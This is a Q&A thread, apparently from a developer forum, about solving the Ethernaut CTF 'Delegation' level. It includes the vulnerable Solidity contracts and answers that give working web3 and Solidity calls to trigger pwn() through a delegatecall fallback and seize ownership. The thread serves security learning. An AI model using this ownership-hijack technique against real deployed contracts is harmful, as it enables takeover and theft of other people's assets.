0

I am going through the ethernaut ctf challeneges and I am trying to take ownership of this contract through my own smart contract, here is the target code:

 pragma solidity ^0.6.0;

contract Delegate {

  address public owner;

  constructor(address _owner) public {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) public {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }
}

My assumption is that you can exploit this code and take ownership by passing msg.data in the Delegation contract that corresponds to the pwn() function in the Delegate contract (using delegate call this will allow us to take ownership of the delegation contract). My problem is passing in the msg.data and I am not entirely sure how to do it properly, here is my attempt:

contract ownerAttack {

    function attack(address payable _victim) public payable {

    address to = payable(_victim);
    (bool sent, ) = to.call{value: msg.value}(abi.encodeWithSignature("pwn()"));
    require(sent , "transfer failed");

    }


    receive()external payable{ 
    }

However the transfer fails, thanks in advance for the help

O Inuwa
  • 91
  • 1
  • 5

4 Answers4

1

You have correctly identified the approach to this; we have to send in the function selector of the target contract (Delegate) while making a call to the immediate contract (Delegation).

For this, we can Web3JS or EtherJS. Ethernaut console supports Web3JS so we will go with that here.

First, we have to calculate the selector for the pwn() function.

const selector = web3.eth.abi.encodeFunctionSignature("pwn()")

Second, we have to make the call to Delegation, but call pwn() as its function. This way, the fallback function is triggered, which then makes the delegate call to the function whose selector is in msg.data of the transaction. Thus, pwn() function of Delegate contract is called.

To make the call, we simply use sendTransaction like:

await web3.eth.sendTransaction({from: player, to: contract.address, data: selector})

And this should answer your question.

Hasan Raza
  • 81
  • 3
1

I think Hasan Answer will work, but if you want to do the attack entirely inside solidity, I think you might be able to get the function signature by doing:

bytes4 encodedSignature = bytes4(keccak256("pwn()"));

Hashing with keccak256 and then casting it to bytes4 is exatcly how Solidity generates function signatures, so this should work.

But after some research it looks like you can also use this to retrieve it:

Delegate(0).pwn.selector

Then use the returned value to make the attack.

0

The following also works:

        bytes memory selector = abi.encodeWithSignature("pwn()");
        (bool success, ) = address(c).call(selector);

c is the address of the contract which makes the delegatecall

0

if you make the call from a contract, the owner will be set to the contract you call from.

thus its best to use sendTransaction method mentioned by Hasan.